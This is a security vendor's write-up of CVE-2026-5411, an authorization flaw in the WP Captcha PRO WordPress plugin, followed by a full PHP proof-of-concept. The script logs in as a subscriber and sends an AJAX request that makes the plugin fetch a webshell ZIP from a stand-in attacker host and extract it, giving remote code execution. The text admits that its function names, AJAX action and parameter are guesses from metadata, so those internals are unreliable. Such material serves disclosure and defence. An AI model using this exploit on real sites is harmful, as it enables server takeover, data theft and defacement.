Atomic Edge analysis of CVE-2026-5411 (metadata-based): This vulnerability in WP Captcha PRO (premium version of Advanced Google reCAPTCHA, slug: advanced-google-recaptcha) allows authenticated attackers with Subscriber-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution. The CVSS score is 8.8 (High), and the CWE is 434 (Unrestricted Upload of File with Dangerous Type).
The root cause is a missing authorization check in the save_ajax() function of the licensing module, combined with unrestricted file extraction in sync_cloud_protection(). The licensing module likely stores a cloud_protection_url in the plugin’s license meta. When save_ajax() processes a request, it fails to verify that the user has sufficient capabilities (e.g., manage_options or install_plugins), allowing any authenticated user (Subscriber+) to modify the cloud_protection_url. The sync_cloud_protection() function then downloads a compressed archive from that URL and extracts it into a web-accessible uploads directory without validating the file types. This is inferred from the CWE and description; without a code diff, the exact function names and missing capability check are assumed based on common WordPress plugin patterns.
Exploitation requires an authenticated session with Subscriber-level or higher access. The attacker sends a POST request to /wp-admin/admin-ajax.php with action set to the licensing AJAX hook (e.g., advanced-google-recaptcha_license_save or similar) and a parameter (likely cloud_protection_url or license_key) containing the URL to a malicious ZIP file hosted on a remote server. The plugin then downloads and extracts the archive into the uploads directory (e.g., /wp-content/uploads/). If allow_url_fopen is enabled, this results in arbitrary file upload. The PoC below assumes the AJAX action is advanced-google-recaptcha_save_license and the parameter is cloud_protection_url, based on typical naming conventions.
Remediation requires adding a proper capability check in the save_ajax() function, such as current_user_can(‘manage_options’), to restrict modification of license-sensitive data to administrators. Additionally, the sync_cloud_protection() function must validate the file type after extraction (e.g., whitelist allowed mime types) and store extracted files outside the web root or in a protected directory.
Successful exploitation allows an attacker to upload a PHP webshell or any malicious file, leading to full remote code execution on the server. This can result in complete compromise of the WordPress site, including data theft, privilege escalation, site defacement, or using the server in botnets.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5411 - WP Captcha PRO <= 5.38 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload
// This PoC assumes the AJAX action is 'advanced-google-recaptcha_save_license' and the parameter is 'cloud_protection_url'.
// Requires an authenticated WordPress session with at least Subscriber-level access.
$target_url = 'http://example.com'; // Replace with target WordPress URL
$username = 'attacker'; // Replace with valid subscriber username
$password = 'attacker_password'; // Replace with valid subscriber password
$malicious_zip_url = 'http://attacker-server.com/shell.zip'; // URL to a malicious ZIP containing PHP webshell
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_result = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
curl_close($ch);
// Step 2: Upload malicious URL via licensing AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'advanced-google-recaptcha_save_license', // Assumed action
'cloud_protection_url' => $malicious_zip_url
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('AJAX request failed: ' . curl_error($ch) . "n");
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response body: " . $response . "n";
// Note: The webshell should now be extracted to the uploads directory.
// The exact path depends on how sync_cloud_protection() handles extraction.
// Commonly: /wp-content/uploads/ or /wp-content/plugins/advanced-google-recaptcha/uploads/
echo "Exploit completed. Check /wp-content/uploads/ for webshell files.n";
?>